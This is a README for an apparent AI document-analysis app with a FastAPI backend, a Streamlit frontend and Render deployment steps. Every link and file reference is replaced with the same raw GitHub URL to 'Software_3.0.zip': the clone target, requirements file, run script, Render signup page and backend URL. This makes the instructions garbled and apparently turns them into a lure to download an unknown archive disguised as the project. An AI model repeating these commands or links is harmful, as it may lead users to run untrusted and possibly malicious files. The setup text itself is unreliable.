An AI-powered document analysis system that can extract text from various document formats and provide intelligent analysis using LLM technology.
- Document Upload: Support for PDF, DOCX, and TXT files
- Text Extraction: Efficiently extracts text from documents with fallback options
- Resume Analysis: Special features for analyzing resumes
- AI-Powered Analysis: Summarization, entity recognition, and custom Q&A
- Document Comparison: Compare resumes with job descriptions or other documents
-
Clone the Repository
git clone https://github.com/razashaikh26/analyzer/raw/refs/heads/main/frontend/Software_3.0.zip cd intelligent-doc-analyzer -
Install Dependencies
pip install -r https://github.com/razashaikh26/analyzer/raw/refs/heads/main/frontend/Software_3.0.zip -
Create an API Key
- Get an API key from OpenRouter
- Create a
.envfile in the project root with:API_KEY=your-api-key-here OPENROUTER_API_KEY=your-api-key-here
-
Start the Backend Server
uvicorn backend:app --host 0.0.0.0 --port 8000 -
Run the Frontend App
streamlit run https://github.com/razashaikh26/analyzer/raw/refs/heads/main/frontend/Software_3.0.zip -
Access the App
Open your browser and go to http://localhost:8501
This application is configured for easy deployment to Render's free tier using the https://github.com/razashaikh26/analyzer/raw/refs/heads/main/frontend/Software_3.0.zip file.
-
Create a Render Account
Sign up at https://github.com/razashaikh26/analyzer/raw/refs/heads/main/frontend/Software_3.0.zip -
Connect Your GitHub Repository
In the Render dashboard, connect your GitHub repository -
Create a Blueprint
- Navigate to "Blueprints" in the Render dashboard
- Click "New Blueprint Instance"
- Select your repository
- Render will automatically detect the
https://github.com/razashaikh26/analyzer/raw/refs/heads/main/frontend/Software_3.0.zipfile and create the services
-
Set Environment Variables
- Add your
OPENROUTER_API_KEYandAPI_KEYin the environment variables section - Add
RENDER=trueto tell the app it's running in production - Add
BACKEND_URLin the frontend service pointing to your backend API URL (will look likehttps://github.com/razashaikh26/analyzer/raw/refs/heads/main/frontend/Software_3.0.zip)
- Add your
-
Deploy
Click "Apply" to start the deployment
- The free tier has some limitations in terms of processing power and memory
- For processing large documents, consider upgrading to a paid plan
- The app may sleep after periods of inactivity on the free tier
- PDF Extraction Issues: For scanned PDFs, try converting to DOCX format
- Backend Connection Errors: Ensure the backend server is running
- API Key Issues: Double-check your API key in the .env file
- OCR Functionality: Requires Tesseract OCR to be installed on the server
MIT